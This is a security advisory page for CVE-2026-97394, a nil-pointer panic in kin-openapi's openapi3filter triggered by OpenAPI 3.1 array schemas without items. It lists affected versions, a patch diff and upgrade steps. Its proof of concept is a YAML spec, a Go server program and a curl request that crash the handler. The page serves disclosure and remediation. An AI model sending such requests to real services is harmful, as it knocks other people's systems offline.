kin-openapi: Nil-pointer dereference panic in openapi3filter for OpenAPI 3.1 array schemas missing items
CVE-2026-97394 · GHSA-p6wj-qrr4-pgh5 · published 15 Oct 2026
How serious is it
- Severity: high, CVSS score 7.5 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-97394?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
github.com/getkin/kin-openapi(Go) >= 0.136.0, < 0.143.0
How to check
- Run
go list -m github.com/getkin/kin-openapiin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
github.com/getkin/kin-openapito 0.143.0 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary
A nil-pointer dereference in `openapi3filter` lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI **3.1** operation that declares `type: array` **without** `items`. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting `items`, and `doc.Validate()` accepts such schemas with `Schema.Items == nil`. Request/response decoders then dereference `Items` with no nil check. The panic is **deterministic (100%)** on every request to the affected operation. There is no `recover()` in `openapi3filter`; under handlers without per-request recover the process can exit.
### Details
**Spec-validation asymmetry.** OpenAPI 3.0 rejects array schemas that omit `items` ([`openapi3/schema.go`](https://github.com/getkin/kin-openapi/blob/master/openapi3/schema.go) around the `TypeArray` / `newSchemaItemsRequired` branch). For OpenAPI 3.1, `T.Validate` enables `jsonSchema2020ValidationEnabled`, so that check is skipped and `Schema.Items` remains nil after a clean `doc.Validate()`.
**Vulnerable decoder.** The primary request-side crash is in [`UrlencodedBodyDecoder`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go) (still present on this checkout at L1421):
```go
case propType.Is("array"):
items := propSchema.Value.Items.Value // Items == nil → panic
```
This runs during schema inspection **before** form values are parsed. Any non-empty `application/x-www-form-urlencoded` body for the operation reaches the dereference (an empty body is rejected earlier when `requestBody.required` is true, and never enters the decoder).
The same nil `Items` also crashes:
| Path | Location | Trigger |
|---|---|---|
| `MultipartBodyDecoder` | `req_resp_decoder.go` ~1564 → 1579 | `multipart/form-data` part named like the array property |
| `parseArray` → `parsePrimitive` | `req_resp_decoder.go` ~1129 / 1151 | Array-typed **response headers** via `ValidateResponse`, and path/cookie array params |
`Middleware` / `ValidationHandler` call `ValidateRequest` / `ValidateResponse` directly with no recover, so the panic escapes the library into the application.
**Recommended fix.** Guard nil `Items` and return a structured decode/validation error, e.g.:
```diff
case propType.Is("array"):
+ if propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil {
+ return nil, fmt.Errorf("unsupported schema of request body's property %q: array items required for decoding", propName)
+ }
items := propSchema.Value.Items.Value
```
Apply equivalent guards in `MultipartBodyDecoder` and `parseArray` before calling `parsePrimitive`.
### PoC
Verified against revision `c11a4812ba7be3ee3d81453be0c397ee84c238d5`, Go 1.25, `darwin/arm64`.
**1. Spec** — OpenAPI 3.1 operation with urlencoded body and `type: array` property without `items`:
```yaml
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/f:
post:
requestBody:
required: true
content:
application/x-www-form-urlencoded:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
```
**2. E2E program** — `net/http` server using the same public entrypoint (`gorillamux` → `openapi3filter.ValidateRequest`) real middleware uses. Save as `main.go` in a module that depends on `github.com/getkin/kin-openapi` at a vulnerable revision, then `go run .`:
```go
package main
import (
"fmt"
"log"
"net/http"
"strings"
"github.com/getkin/kin-openapi/openapi3"
"github.com/getkin/kin-openapi/openapi3filter"
"github.com/getkin/kin-openapi/routers/gorillamux"
)
const spec = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/f:
post:
requestBody:
required: true
content:
application/x-www-form-urlencoded:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
`
func main() {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(spec))
if err != nil {
log.Fatal(err)
}
if err := doc.Validate(loader.Context); err != nil {
log.Fatalf("doc.Validate rejected (unexpected for 3.1): %v", err)
}
fmt.Println("SPEC_ACCEPTED; Items ==", doc.Paths.Value("/f").Post.RequestBody.Value.
Content.Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value.Items)
router, err := gorillamux.NewRouter(doc)
if err != nil {
log.Fatal(err)
}
// Direct call (no net/http recover): proves the library itself panics.
req, _ := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a"))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
route, pp, _ := router.FindRoute(req)
func() {
defer func() {
if r := recover(); r != nil {
fmt.Printf("DIRECT_PANIC: %v\n", r)
}
}()
_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
Request: req, PathParams: pp, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
fmt.Println("DIRECT_PANIC: none (unexpected)")
}()
mux := http.NewServeMux()
mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) {
route, pathParams, err := router.FindRoute(r)
if err != nil {
http.Error(w, err.Error(), http.StatusNotFound)
return
}
err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
Request: r, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
w.WriteHeader(http.StatusOK)
_, _ = w.Write([]byte("ok\n"))
})
addr := "127.0.0.1:8085"
fmt.Printf("listening on http://%s/f\n", addr)
fmt.Println("attack: curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tag…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/getkin/kin-openapi/security/advisories/GHSA-p6wj-qrr4-pgh5
- nvd.nist.gov/vuln/detail/CVE-2026-97394
- github.com/getkin/kin-openapi/commit/30e292371a89ca6d1f91a9553e0aa518b49f838d
- github.com/getkin/kin-openapi/releases/tag/v0.143.0
- github.com/advisories/GHSA-p6wj-qrr4-pgh5
Merged from GitHub Advisory Database. Last updated 23 Oct 2026. All vulnerabilities · RSS · JSON